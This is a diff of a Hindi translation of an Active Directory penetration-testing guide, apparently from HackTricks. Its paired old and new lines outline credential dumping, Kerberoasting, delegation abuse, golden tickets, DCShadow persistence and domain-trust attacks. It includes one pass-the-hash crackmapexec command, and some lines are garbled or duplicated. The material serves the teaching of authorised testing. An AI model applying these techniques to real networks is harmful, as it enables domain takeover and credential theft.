> भले ही यह सूची बनाने का अनुभाग छोटा दिखता है, यह सभी का सबसे महत्वपूर्ण भाग है। लिंक पर पहुँचें (मुख्य रूप से cmd, powershell, powerview और BloodHound वाले), जानें कि डोमेन को कैसे सूचीबद्ध किया जाए और तब तक अभ्यास करें जब तक आप सहज महसूस न करें। एक आकलन के दौरान, यह DA तक पहुँचने का आपका मार्ग खोजने या यह तय करने का कुंजी क्षण होगा कि कुछ नहीं किया जा सकता।
> भले ही यह सूची बनाने का अनुभाग छोटा दिखता है, यह सभी का सबसे महत्वपूर्ण भाग है। लिंक पर पहुँचें (मुख्य रूप से cmd, powershell, powerview और BloodHound वाले), जानें कि डोमेन को कैसे सूचीबद्ध करें और तब तक अभ्यास करें जब तक आप सहज महसूस न करें। एक आकलन के दौरान, यह DA तक पहुँचने का आपका मार्ग खोजने या यह तय करने का कुंजी क्षण होगा कि कुछ नहीं किया जा सकता।
### Kerberoast
@ -185,13 +185,13 @@ kerberoast.md
### दूरस्थ कनेक्शन (RDP, SSH, FTP, Win-RM, आदि)
एक बार जब आपने कुछ क्रेडेंशियल्स प्राप्त कर लिए, तो आप देख सकते हैं कि क्या आपके पास किसी **मशीन** तक पहुँच है। इस मामले के लिए, आप विभिन्न प्रोटोकॉल के साथ कई सर्वरों पर कनेक्ट करने का प्रयास करने के लिए **CrackMapExec** का उपयोग कर सकते हैं, जो आपके पोर्ट स्कैन के अनुसार है।
एक बार जब आपने कुछ क्रेडेंशियल्स प्राप्त कर लिए, तो आप देख सकते हैं कि क्या आपके पास किसी **मशीन** तक पहुँच है। इस मामले में, आप **CrackMapExec** का उपयोग करके विभिन्न प्रोटोकॉल के साथ कई सर्वरों पर कनेक्ट करने का प्रयास कर सकते हैं, जो आपके पोर्ट स्कैन के अनुसार है
### स्थानीय विशेषाधिकार वृद्धि
यदि आपने नियमित डोमेन उपयोगकर्ता के रूप में क्रेडेंशियल्स या सत्र को समझौता किया है और आपके पास **डोमेन में किसी भी मशीन** पर इस उपयोगकर्ता के साथ **पहुँच** है, तो आपको **स्थानीय रूप से विशेषाधिकार बढ़ाने और क्रेडेंशियल्स के लिए लूटने** का प्रयास करना चाहिए। इसका कारण यह है कि केवल स्थानीय व्यवस्थापक विशेषाधिकारों के साथ आप **अन्य उपयोगकर्ताओं के हैश को** मेमोरी (LSASS) और स्थानीय (SAM) में **डंप** कर सकेंगे।
यदि आपने क्रेडेंशियल्स या एक नियमित डोमेन उपयोगकर्ता के रूप में क सत्र को समझौता किया है और आपके पास **डोमेन में किसी भी मशीन** पर इस उपयोगकर्ता के साथ **पहुँच** है, तो आपको **स्थानीय रूप से विशेषाधिकार बढ़ाने और क्रेडेंशियल्स के लिए लूटने** का प्रयास करना चाहिए। ऐसा इसलिए है क्योंकि केवल स्थानीय व्यवस्थापक विशेषाधिकारों के साथ आप **अन्य उपयोगकर्ताओं के हैश को** मेमोरी (LSASS) में और स्थानीय रूप से (SAM) **डंप** कर सकेंगे।
इस पुस्तक में [**Windows में स्थानीय विशेषाधिकार वृद्धि**](../windows-local-privilege-escalation/index.html) और एक [**चेकलिस्ट**](../checklist-windows-privilege-escalation.md) के बारे में एक पूरा पृष्ठ है। इसके अलावा, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) का उपयोग करना न भूलें।
इस पुस्तक में [**Windows में स्थानीय विशेषाधिकार वृद्धि**](../windows-local-privilege-escalation/index.html) के बारे में एक पूरा पृष्ठ है और एक [**चेकलिस्ट**](../checklist-windows-privilege-escalation.md)। इसके अलावा, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) का उपयोग करना न भूलें।
### वर्तमान सत्र टिकट
@ -209,13 +209,13 @@ kerberoast.md
### **कंप्यूटर शेयर में क्रेडेंशियल्स की तलाश करें**
अब जब आपके पास कुछ बुनियादी क्रेडेंशियल्स हैं, तो आपको यह जांचना चाहिए कि क्या आप **AD के अंदर साझा की गई कोई **दिलचस्प फ़ाइलें** ढूंढ सकते हैं। आप इसे मैन्युअल रूप से कर सकते हैं, लेकिन यह एक बहुत ही उबाऊ दोहराने वाला कार्य है (और अधिक यदि आप सैकड़ों दस्तावेज़ ढूंढते हैं जिन्हें आपको जांचना है)।
अब जब आपके पास कुछ बुनियादी क्रेडेंशियल्स हैं, तो आपको यह जांचना चाहिए कि क्या आप **AD के अंदर साझा की गई कोई **दिलचस्प फ़ाइलें** ढूंढ सकते हैं। आप इसे मैन्युअल रूप से कर सकते हैं, लेकिन यह एक बहुत ही उबाऊ दोहरावदार कार्य है (और अधिक यदि आप सैकड़ों दस्तावेज़ ढूंढते हैं जिन्हें आपको जांचना है)।
[**उपकरणों के बारे में जानने के लिए इस लिंक का पालन करें।**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### NTLM क्रेडेंशियल्स चुराना
यदि आप **अन्य PCs या शेयरों तक पहुँच सकते हैं**, तो आप **फाइलें** (जैसे SCF फ़ाइल) रख सकते हैं जो यदि किसी तरह से एक्सेस की जाती हैं, तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें और से क्रैक कर सकें:
यदि आप **अन्य PCs या शेयरों तक पहुँच सकते हैं**, तो आप **फाइलें** (जैसे SCF फ़ाइल) रख सकते हैं जो यदि किसी तरह से एक्सेस की जाती हैं, तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें और से क्रैक कर सकें:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### MSSQL दुरुपयोग और विश्वसनीय लिंक
यदि किसी उपयोगकर्ता के पास **MSSQL उदाहरणों** तक पहुँचने के लिए विशेषाधिकार हैं, तो वह इसे MSSQL होस्ट में **कमांड निष्पादित करने** के लिए उपयोग कर सकता है (यदि SA के रूप में चल रहा हो), NetNTLM **हैश** चुराने या यहां तक कि **रिले** **हमला** करने के लिए।\
इसके अलावा, यदि एक MSSQL उदाहरण को एक अलग MSSQL उदाहरण द्वारा विश्वसनीय (डेटाबेस लिंक) माना जाता है। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए विश्वास संबंध का उपयोग कर सकेगा**। ये विश्वास श्रृंखलाबद्ध हो सकते हैं और किसी बिंदु पर उपयोगकर्ता एक गलत कॉन्फ़िगर की गई डेटाबेस खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है।\
इसके अलावा, यदि एक MSSQL उदाहरण को किसी अन्य MSSQL उदाहरण द्वारा विश्वसनीय (डेटाबेस लिंक) माना जाता है। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए विश्वास संबंध का उपयोग कर सकेगा**। ये विश्वास श्रृंखलाबद्ध हो सकते हैं और किसी बिंदु पर उपयोगकर्ता एक गलत कॉन्फ़िगर की गई डेटाबेस खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है।\
**डेटाबेस के बीच के लिंक यहां तक कि वन वन ट्रस्ट के पार भी काम करते हैं।**
{{#ref}}
@ -284,9 +284,9 @@ abusing-ad-mssql.md
### अनियंत्रित प्रतिनिधित्व
यदि आप किसी कंप्यूटर ऑब्जेक्ट को [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) विशेषता के साथ पाते हैं और आपके पास कंप्यूटर में डोमेन विशेषाधिकार हैं, तो आप कंप्यूटर पर लॉगिन करने वाले हर उपयोगकर्ता की मेमोरी से TGT को डंप कर सकेंगे।\
तो, यदि **डोमेन एडमिन कंप्यूटर पर लॉगिन करता है**, तो आप उसका TGT डंप कर सकेंगे और [Pass the Ticket](pass-the-ticket.md) का उपयोग करके उसकी नकल कर सकेंगे।\
संकीर्ण प्रतिनिधित्व के लिए धन्यवाद, आप यहां तक कि **एक प्रिंट सर्वर को स्वचालित रूप से समझौता कर सकते हैं** (उम्मीद है कि यह एक DC होगा)।
यदि आप किसी कंप्यूटर ऑब्जेक्ट को [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) विशेषता के साथ पाते हैं और आपके पास कंप्यूटर में डोमेन विशेषाधिकार हैं, तो आप कंप्यूटर पर लॉगिन करने वाले हर उपयोगकर्ता की मेमोरी से TGTs को डंप करने में सक्षम होंगे।\
तो, यदि कोई **डोमेन एडमिन कंप्यूटर पर लॉगिन करता है**, तो आप उसका TGT डंप कर सक हैं और [Pass the Ticket](pass-the-ticket.md) का उपयोग करके उसकी नकल कर सक हैं।\
संकीर्ण प्रतिनिधित्व के कारण आप यहां तक कि **एक प्रिंट सर्वर को स्वचालित रूप से समझौता कर सकते हैं** (उम्मीद है कि यह एक DC होगा)।
{{#ref}}
unconstrained-delegation.md
@ -294,8 +294,8 @@ unconstrained-delegation.md
### संकीर्ण प्रतिनिधित्व
यदि किसी उपयोगकर्ता या कंप्यूटर को "संकीर्ण प्रतिनिधित्व" की अनुमति है, तो वह **किसी भी उपयोगकर्ता की नकल कर सकेगा ताकि किसी कंप्यूटर में कुछ सेवाओं तक पहुँच सके**।\
फिर, यदि आप इस उपयोगकर्ता/कंप्यूटर का **हैश समझौता करते हैं**, तो आप **किसी भी उपयोगकर्ता** (यहां तक कि डोमेन एडमिन) की नकल कर सकेंगे ताकि कुछ सेवाओं तक पहुँच सके।
यदि किसी उपयोगकर्ता या कंप्यूटर को "संकीर्ण प्रतिनिधित्व" की अनुमति है, तो वह **किसी भी उपयोगकर्ता की नकल कर सकता है ताकि किसी कंप्यूटर में कुछ सेवाओं तक पहुँच सके**।\
फिर, यदि आप इस उपयोगकर्ता/कंप्यूटर का **हैश समझौता** करते हैं, तो आप **किसी भी उपयोगकर्ता** (यहां तक कि डोमेन एडमिन) की नकल कर सक हैं ताकि कुछ सेवाओं तक पहुँच सके।
{{#ref}}
constrained-delegation.md
@ -319,7 +319,7 @@ acl-persistence-abuse/
### प्रिंटर स्पूलर सेवा का दुरुपयोग
डोमेन के भीतर एक **स्पूल सेवा सुनने**ी खोज की जा सकती है, जिसे **नए क्रेडेंशियल्स प्राप्त करने** और **विशेषाधिकार बढ़ाने** के लिए **दुरुपयोग** किया जा सकता है।
डोमेन के भीतर **स्पूल सेवा सुनने**ा पता लगाना **नए क्रेडेंशियल्स प्राप्त करने** और **विशेषाधिकार बढ़ाने** के लिए **दुरुपयोग** किया जा सकता है।
{{#ref}}
printers-spooler-service-abuse.md
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### तीसरे पक्ष के सत्रों का दुरुपयोग
यदि **अन्य उपयोगकर्ता** **समझौता किए गए** मशीन तक पहुँचते हैं, तो यह **मेमोरी से क्रेडेंशियल्स इकट्ठा करन** और यहां तक कि **उनकी प्रक्रियाओं में बीकन इंजेक्ट करने** के लिए संभव है ताकि उनकी नकल की जा सके।\
यदि **अन्य उपयोगकर्ता** **समझौता किए गए** मशीन तक पहुँचते हैं, तो **मेमोरी से क्रेडेंशियल्स इकट्ठा करन** और यहां तक कि **उनकी प्रक्रियाओं में बीकन इंजेक्ट करना** संभव है ताकि उनकी नकल की जा सके।\
आमतौर पर उपयोगकर्ता RDP के माध्यम से सिस्टम तक पहुँचते हैं, इसलिए यहां आपके पास तीसरे पक्ष के RDP सत्रों पर कुछ हमले करने का तरीका है:
{{#ref}}
@ -358,11 +358,11 @@ ad-certificates/certificate-theft.md
ad-certificates/domain-escalation.md
{{#endref}}
## उच्च विशेषाधिकार खाते के साथ पोस्ट-शोषण
## उच्च विशेषाधिकार खाते के साथ पोस्ट-एक्सप्लॉइटेशन
### डोमेन क्रेडेंशियल्स का डंपिंग
एक बार जब आप **डोमेन एडमिन** या यहां तक कि बेहतर **एंटरप्राइज एडमिन** विशेषाधिकार प्राप्त कर लेते हैं, तो आप **डोमेन डेटाबेस** **डंप** कर सकते हैं: _ntds.dit_
एक बार जब आप **डोमेन एडमिन** या यहां तक कि बेहतर **एंटरप्राइज एडमिन** विशेषाधिकार प्राप्त कर लेते हैं, तो आप **डोमेन डेटाबेस** **डंप** कर सकते हैं: _ntds.dit_
[**DCSync हमले के बारे में अधिक जानकारी यहां मिल सकती है**](dcsync.md)।
@ -371,7 +371,7 @@ ad-certificates/domain-escalation.md
### प्रिवेस्क के रूप में स्थिरता
पहले चर्चा की गई कुछ तकनीकों का उपयोग स्थिरता के लिए किया जा सकता है।\
उदाहरण के लिए, आप कर सकते हैं:
उदाहरण के लिए आप कर सकते हैं:
- उपयोगकर्ताओं को [**Kerberoast**](kerberoast.md) के लिए कमजोर बनाना
@ -411,7 +411,7 @@ golden-ticket.md
### डायमंड टिकट
ये गोल्डन टिकट की तरह होते हैं ज **सामान्य गोल्डन टिकट पहचान तंत्रों को बायपास**रने के तरीके से बनाए जाते हैं
ये गोल्डन टिकट की तरह होते हैं जिन्हें इस तरह से तैयार किया गया है कि **सामान्य गोल्डन टिकट पहचान तंत्रों को बायपास**िया जा सके
{{#ref}}
diamond-ticket.md
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### AdminSDHolder समूह
Active Directory में **AdminSDHolder** ऑब्जेक्ट **विशेषाधिकार प्राप्त समूहों** (जैसे डोमेन एडमिन और एंटरप्राइज एडमिन) की सुरक्षा सुनिश्चित करता है, इन समूहों पर एक मानक **एक्सेस कंट्रोल लिस्ट (ACL)** लागू करके अनधिकृत परिवर्तनों को रोकता है। हालाँकि, इस सुविधा का दुरुपयोग किया जा सकता है; यदि क हमलावर AdminSDHolder के ACL को एक सामान्य उपयोगकर्ता को पूर्ण पहुँच देने के लिए संशोधित करता है, तो उस उपयोगकर्ता को सभी विशेषाधिकार प्राप्त समूहों पर व्यापक नियंत्रण मिल जाता है। यह सुरक्षा उपाय, जिसे सुरक्षा के लिए बनाया गया था, इस प्रकार उलटा पड़ सकता है, अनधिकृत पहुँच की अनुमति देता है जब तक कि इसे निकटता से मॉनिटर नहीं किया जाता।
Active Directory में **AdminSDHolder** ऑब्जेक्ट **विशेषाधिकार प्राप्त समूहों** (जैसे डोमेन एडमिन और एंटरप्राइज एडमिन) की सुरक्षा सुनिश्चित करता है, इन समूहों पर एक मानक **एक्सेस कंट्रोल लिस्ट (ACL)** लागू करके अनधिकृत परिवर्तनों को रोकता है। हालाँकि, इस सुविधा का दुरुपयोग किया जा सकता है; यदि कोई हमलावर AdminSDHolder के ACL को एक सामान्य उपयोगकर्ता को पूर्ण पहुँच देने के लिए संशोधित करता है, तो उस उपयोगकर्ता को सभी विशेषाधिकार प्राप्त समूहों पर व्यापक नियंत्रण मिल जाता है। यह सुरक्षा उपाय, जो सुरक्षा के लिए है, इस प्रकार उलटा पड़ सकता है, जिससे बिना अनुमति के पहुँच मिल सकती है जब तक कि इसे निकटता से मॉनिटर नहीं किया जाता।
[**AdminDSHolder समूह के बारे में अधिक जानकारी यहां है।**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -449,7 +449,7 @@ dsrm-credentials.md
### ACL स्थिरता
आप कुछ विशिष्ट डोमेन ऑब्जेक्ट्स पर एक **उपयोगकर्ता** को कुछ **विशेष अनुमति** दे सकते हैं जो उपयोगकर्ता को **भविष्य में विशेषाधिकार बढ़ाने** की अनुमति देगा।
आप कुछ विशेष डोमेन ऑब्जेक्ट्स पर एक उपयोगकर्ता को कुछ **विशेष अनुमति** दे सकते हैं जो उपयोगकर्ता को **भविष्य में विशेषाधिकार बढ़ाने** की अनुमति देगा।
{{#ref}}
acl-persistence-abuse/
@ -457,7 +457,7 @@ acl-persistence-abuse/
### सुरक्षा वर्णनकर्ता
**सुरक्षा वर्णनकर्ता** का उपयोग **अनुमतियों** को **स्टोर** करने के लिए किया जाता है जो एक **ऑब्जेक्ट** के पास **एक ऑब्जेक्ट** पर होती हैं। यदि आप केवल **सुरक्षा वर्णनकर्ता** के एक ऑब्जेक्ट में **थोड़ा परिवर्तन** कर सकते हैं, तो आप उस ऑब्जेक्ट पर बहुत दिलचस्प विशेषाधिकार प्राप्त कर सकते हैं बिना किसी विशेषाधिकार प्राप्त समूह का सदस्य बने।
**सुरक्षा वर्णनकर्ता** का उपयोग **अनुमतियों** को **स्टोर** करने के लिए किया जाता है जो एक **ऑब्जेक्ट** के पास **एक ऑब्जेक्ट** पर होती हैं। यदि आप केवल **सुरक्षा वर्णनकर्ता** में **थोड़ा सा परिवर्तन** कर सकते हैं, तो आप उस ऑब्जेक्ट पर बहुत दिलचस्प विशेषाधिकार प्राप्त कर सकते हैं बिना किसी विशेषाधिकार प्राप्त समूह का सदस्य बने।
{{#ref}}
security-descriptors.md
@ -482,7 +482,7 @@ custom-ssp.md
### DCShadow
यह AD में एक **नया डोमेन कंट्रोलर** पंजीकृत करता है और निर्दिष्ट वस्तुओं पर **विशेषताएँ** (SIDHistory, SPNs...) **धकेलने** के लिए इसका उपयोग करता है **बिना** किसी **लॉग** को छोड़ने के जो **संशोधनों** के बारे में हैं। आपको **DA** विशेषाधिकार की आवश्यकता है और **रूट डोमेन** के अंदर होना चाहिए।\
यह AD में एक **नया डोमेन कंट्रोलर** पंजीकृत करता है और निर्दिष्ट वस्तुओं पर **विशेषताएँ** (SIDHistory, SPNs...) **धकेलने** के लिए इसका उपयोग करता है **बिना** किसी **लॉग** को छोड़ने के जो **संशोधनों** के बारे में ह। आपको **DA** विशेषाधिकार की आवश्यकता है और **रूट डोमेन** के अंदर होना चाहिए।\
ध्यान दें कि यदि आप गलत डेटा का उपयोग करते हैं, तो बहुत भद्दे लॉग दिखाई देंगे।
{{#ref}}
@ -504,9 +504,9 @@ Microsoft **वन** को सुरक्षा सीमा के रूप
### बुनियादी जानकारी
एक [**डोमेन ट्रस्ट**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) एक सुरक्षा तंत्र है जो एक **डोमेन** के उपयोगकर्ता को दूसरे **डोमेन** में संसाधनों तक पहुँचने की अनुमति देता है। यह मूल रूप से दोनों डोमेन के प्रमाणीकरण प्रणालियों के बीच एक लिंक बनाता है, जिससे प्रमाणीकरण सत्यापन निर्बाध रूप से प्रवाहित हो सके। जब डोमेन एक ट्रस्ट स्थापित करते हैं, तो वे अपने **डोमेन कंट्रोलर (DCs)** के भीतर विशिष्ट **कुंजी** का आदान-प्रदान और रखरखाव करते हैं, जो ट्रस्ट की अखंडता के लिए महत्वपूर्ण हैं।
एक [**डोमेन ट्रस्ट**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) एक सुरक्षा तंत्र है जो एक **डोमेन** के उपयोगकर्ता को दूसरे **डोमेन** में संसाधनों तक पहुँचने की अनुमति देता है। यह मूल रूप से दोनों डोमेन के प्रमाणीकरण प्रणालियों के बीच एक लिंक बनाता है, जिससे प्रमाणीकरण सत्यापन निर्बाध रूप से प्रवाहित हो सके। जब डोमेन एक ट्रस्ट स्थापित करते हैं, तो वे अपने **डोमेन कंट्रोलर्स (DCs)** के भीतर विशिष्ट **कुंजी** का आदान-प्रदान और रखरखाव करते हैं, जो ट्रस्ट की अखंडता के लिए महत्वपूर्ण हैं।
एक सामान्य परिदृश्य में, यदि क उपयोगकर्ता एक **विश्वसनीय डोमेन** में सेवा तक पहुँचने का इरादा रखता है, तो उसे पहले अपने डोमेन के DC से एक विशेष टिकट जिसे **इंटर-रीलम TGT** कहा जाता है, का अनुरोध करना होगा। यह TGT एक साझा **कुंजी** के साथ एन्क्रिप्ट किया गया है जिस पर दोनों डोमेन सहमत हुए हैं। उपयोगकर्ता फिर इस TGT को **विश्वसनीय डोमेन के DC** को सेवा टिकट (**TGS**) प्राप्त करने के लिए प्रस्तुत करता है। जब विश्वसनीय डोमेन के DC द्वारा इंटर-रीलम TGT की सफल सत्यापन होती है, तो यह एक TGS जारी करता है, जो उपयोगकर्ता को सेवा तक पहुँच प्रदान करता है।
एक सामान्य परिदृश्य में, यदि कोई उपयोगकर्ता **विश्वसनीय डोमेन** में किसी सेवा तक पहुँचने का इरादा रखता है, तो उसे पहले अपने डोमेन के DC से **इंटर-रीलम TGT** के रूप में जानी जाने वाली एक विशेष टिकट का अनुरोध करना होगा। यह TGT एक साझा **कुंजी** के साथ एन्क्रिप्ट किया गया है जिस पर दोनों डोमेन सहमत हुए हैं। उपयोगकर्ता फिर इस TGT को **विश्वसनीय डोमेन के DC** को सेवा टिकट (**TGS**) प्राप्त करने के लिए प्रस्तुत करता है। जब विश्वसनीय डोमेन के DC द्वारा इंटर-रीलम TGT का सफलतापूर्वक सत्यापन किया जाता है, तो यह एक TGS जारी करता है, जो उपयोगकर्ता को सेवा तक पहुँच प्रदान करता है।
**चरण**:
@ -515,33 +515,33 @@ Microsoft **वन** को सुरक्षा सीमा के रूप
3. क्लाइंट फिर **डोमेन 2** में संसाधनों तक पहुँचने के लिए DC1 से एक **इंटर-रीलम TGT** का अनुरोध करता है।
4. इंटर-रीलम TGT को DC1 और DC2 के बीच साझा ट्रस्ट कुंजी के साथ एन्क्रिप्ट किया गया है जो दो-तरफा डोमेन ट्रस्ट का हिस्सा है।
5. क्लाइंट इंटर-रीलम TGT को **डोमेन 2 के डोमेन कंट्रोलर (DC2)** पर ले जाता है।
6. DC2 अपन साझा ट्रस्ट कुंजी का उपयोग करके इंटर-रीलम TGT की सत्यापन करता है और यदि मान्य है, तो वह उस सर्वर के लिए **टिकट ग्रांटिंग सेवा (TGS)** जारी करता है जिसे क्लाइंट पहुँच प्राप्त करना चाहता है।
6. DC2 अपन साझा ट्रस्ट कुंजी का उपयोग करके इंटर-रीलम TGT को सत्यापित करता है और यदि मान्य है, तो वह उस सर्वर के लिए **टिकट ग्रांटिंग सेवा (TGS)** जारी करता है जिसे क्लाइंट पहुँच प्राप्त करना चाहता है।
7. अंततः, क्लाइंट इस TGS को सर्वर को प्रस्तुत करता है, जो सर्वर के खाते के हैश के साथ एन्क्रिप्ट किया गया है, ताकि डोमेन 2 में सेवा तक पहुँच प्राप्त की जा सके।
### विभिन्न ट्रस्ट
यह ध्यान रखना महत्वपूर्ण है कि **एक ट्रस्ट 1-तरफा या 2-तरफा** हो सकता है। 2-तरफा विकल्प में, दोनों डोमेन एक-दूसरे पर विश्वास करेंगे, लेकिन **1-तरफा** ट्रस्ट संबंध में एक डोमेन **विश्वसनीय** होगा और दूसरा **विश्वास करने वाला** डोमेन होगा। अंतिम मामले में, **आप केवल विश्वसनीय डोमेन से विश्वास करने वाले डोमेन के अंदर संसाधनों तक पहुँच प्राप्त कर सकेंगे**
यह ध्यान रखना महत्वपूर्ण है कि **एक ट्रस्ट 1-तरफा या 2-तरफा** हो सकता है। 2-तरफा विकल्पों में, दोनों डोमेन एक-दूसरे पर विश्वास करेंगे, लेकिन **1-तरफा** ट्रस्ट संबंध में एक डोमेन **विश्वसनीय** होगा और दूसरा **विश्वास करने वाला** डोमेन होगा। अंतिम मामले में, **आप केवल विश्वसनीय डोमेन से विश्वास करने वाले डोमेन के अंदर संसाधनों तक पहुँच प्राप्त कर सकेंगे**
यदि डोमेन A, डोमेन B पर विश्वास करता है, तो A विश्वास करने वाला डोमेन है और B विश्वसनीय है। इसके अलावा, **डोमेन A** में, यह एक **आउटबाउंड ट्रस्ट** होगा; और **डोमेन B** में, यह एक **इनबाउंड ट्रस्ट** होगा।
**विभिन्न विश्वास संबंध**
- **पैरेंट-चाइल्ड ट्रस्ट**: यह एक सामान्य सेटअप है जो एक ही वन के भीतर होता है, जहाँ एक चाइल्ड डोमेन अपने पैरेंट डोमेन के साथ स्वचालित रूप से एक दो-तरफा पारगम्य ट्रस्ट रखता है। मूल रूप से, इसका अर्थ है कि प्रमाणीकरण अनुरोध पैरेंट और चाइल्ड के बीच निर्बाध रूप से प्रवाहित हो सकते हैं।
- **क्रॉस-लिंक ट्रस्ट**: जिसे "शॉर्टकट ट्रस्ट" कहा जाता है, ये चाइल्ड डोमेनों के बीच स्थापित होते हैं ताकि संदर्भ प्रक्रियाओं को तेज किया जा सके। जटिल वनों में, प्रमाणीकरण संदर्भ आमतौर पर वन की जड़ तक यात्रा करते हैं और फिर लक्षित डोमेन तक पहुँचते हैं। क्रॉस-लिंक्स बनाकर, यात्रा को छोटा किया जाता है, जो विशेष रूप से भौगोलिक रूप से फैले वातावरण में फायदेमंद होता है।
- **बाहरी ट्रस्ट**: ये विभिन्न, असंबंधित डोमेनों के बीच स्थापित होते हैं और स्वाभाविक रूप से गैर-पारगम्य होते हैं। [Microsoft के दस्तावेज़](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) के अनुसार, बाहरी ट्रस्ट उन संसाधनों तक पहुँचने के लिए उपयोगी होते हैं जो वर्तमान वन के बाहर क डोमेन में हैं जो वन ट्रस्ट द्वारा जुड़े नहीं हैं। सुरक्षा को बाहरी ट्रस्ट के साथ SID फ़िल्टरिंग के माध्यम से बढ़ाया जाता है।
- **ट्री-रूट ट्रस्ट**: ये ट्रस्ट स्वचालित रूप से वन की जड़ डोमेन और एक नए जोड़े गए ट्री रूट के बीच स्थापित होते हैं। जबकि ये सामान्यतः नहीं मिलते हैं, ट्री-रूट ट्रस्ट नए डोमेन ट्री को एक वन में जोड़ने के लिए महत्वपूर्ण होते हैं, जिससे उन्हें एक अद्वितीय डोमेन नाम बनाए रखने की अनुमति मिलती है और दो-तरफा पारगम्यता सुनिश्चित होती है। [Microsoft के गाइड](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) में अधिक जानकारी मिल सकती है।
- **वन ट्रस्ट**: यह प्रकार का ट्रस्ट दो वन रूट डोमेनों के बीच एक दो-तरफा पारगम्य ट्रस्ट है, जो सुरक्षा उपायों को बढ़ाने के लिए SID फ़िल्टरिंग को लागू करता है।
- **MIT ट्रस्ट**: ये ट्रस्ट गैर-Windows, [RFC4120-अनुरूप](https://tools.ietf.org/html/rfc4120) Kerberos डोमेनों के साथ स्थापित होते हैं। MIT ट्रस्ट थोड़े अधिक विशेषीकृत होते हैं और उन वातावरणों के लिए होते हैं जिन्हें Windows पारिस्थितिकी तंत्र के बाहर Kerberos-आधारित प्रणालियों के साथ एकीकरण की आवश्यकता होती है।
- **माता-पिता-शिशु ट्रस्ट**: यह एक सामान्य सेटअप है जो एक ही वन के भीतर होता है, जहाँ एक शिशु डोमेन अपने माता-पिता डोमेन के साथ स्वचालित रूप से एक दो-तरफा पारगम्य ट्रस्ट रखता है। मूल रूप से, इसका अर्थ है कि प्रमाणीकरण अनुरोध माता-पिता और शिशु के बीच निर्बाध रूप से प्रवाहित हो सकते हैं।
- **क्रॉस-लिंक ट्रस्ट**: जिसे "शॉर्टकट ट्रस्ट" कहा जाता है, ये शिशु डोमेन के बीच स्थापित किए जाते हैं ताकि संदर्भ प्रक्रियाओं को तेज किया जा सके। जटिल वनों में, प्रमाणीकरण संदर्भ आमतौर पर वन की जड़ तक यात्रा करते हैं और फिर लक्षित डोमेन तक। क्रॉस-लिंक्स बनाकर, यात्रा को छोटा किया जाता है, जो विशेष रूप से भौगोलिक रूप से फैले वातावरण में फायदेमंद होता है।
- **बाहरी ट्रस्ट**: ये विभिन्न, असंबंधित डोमेन के बीच स्थापित किए जाते हैं और स्वाभाविक रूप से गैर-पारगम्य होते हैं। [Microsoft के दस्तावेज़](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) के अनुसार, बाहरी ट्रस्ट उन संसाधनों तक पहुँचने के लिए उपयोगी होते हैं जो वर्तमान वन के बाहर क डोमेन में हैं जो वन ट्रस्ट द्वारा जुड़े नहीं हैं। सुरक्षा को बाहरी ट्रस्ट के साथ SID फ़िल्टरिंग के माध्यम से बढ़ाया जाता है।
- **ट्री-रूट ट्रस्ट**: ये ट्रस्ट स्वचालित रूप से वन की जड़ डोमेन और एक नए जोड़े गए ट्री रूट के बीच स्थापित होते हैं। जबकि ये सामान्यतः नहीं मिलते हैं, ट्री-रूट ट्रस्ट नए डोमेन ट्री को एक वन में जोड़ने के लिए महत्वपूर्ण होते हैं, जिससे उन्हें एक अद्वितीय डोमेन नाम बनाए रखने और दो-तरफा पारगम्यता सुनिश्चित करने की अनुमति मिलती है। [Microsoft के गाइड](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) में अधिक जानकारी मिल सकती है।
- **वन ट्रस्ट**: यह प्रकार का ट्रस्ट दो वन रूट डोमेन के बीच एक दो-तरफा पारगम्य ट्रस्ट है, जो सुरक्षा उपायों को बढ़ाने के लिए SID फ़िल्टरिंग को लागू करता है।
- **MIT ट्रस्ट**: ये ट्रस्ट गैर-Windows, [RFC4120-अनुरूप](https://tools.ietf.org/html/rfc4120) Kerberos डोमेन के साथ स्थापित होते हैं। MIT ट्रस्ट थोड़े अधिक विशेषीकृत होते हैं और उन वातावरणों के लिए होते हैं जिन्हें Windows पारिस्थितिकी तंत्र के बाहर Kerberos-आधारित प्रणालियों के साथ एकीकरण की आवश्यकता होती है।
#### **विश्वास संबंधों में अन्य भिन्नताएँ**
- एक ट्रस्ट संबंध भी **पारगम्य** (A ट्रस्ट B, B ट्रस्ट C, तो A ट्रस्ट C) या **गैर-पारगम्य** हो सकता है।
- एक ट्रस्ट संबंध को **द्विदिशीय ट्रस्ट** (दोनों एक-दूसरे पर विश्वास करते हैं) या **एक-तरफा ट्रस्ट** (केवल उनमें से एक दूसरे पर विश्वास करता है) के रूप में स्थापित किया जा सकता है।
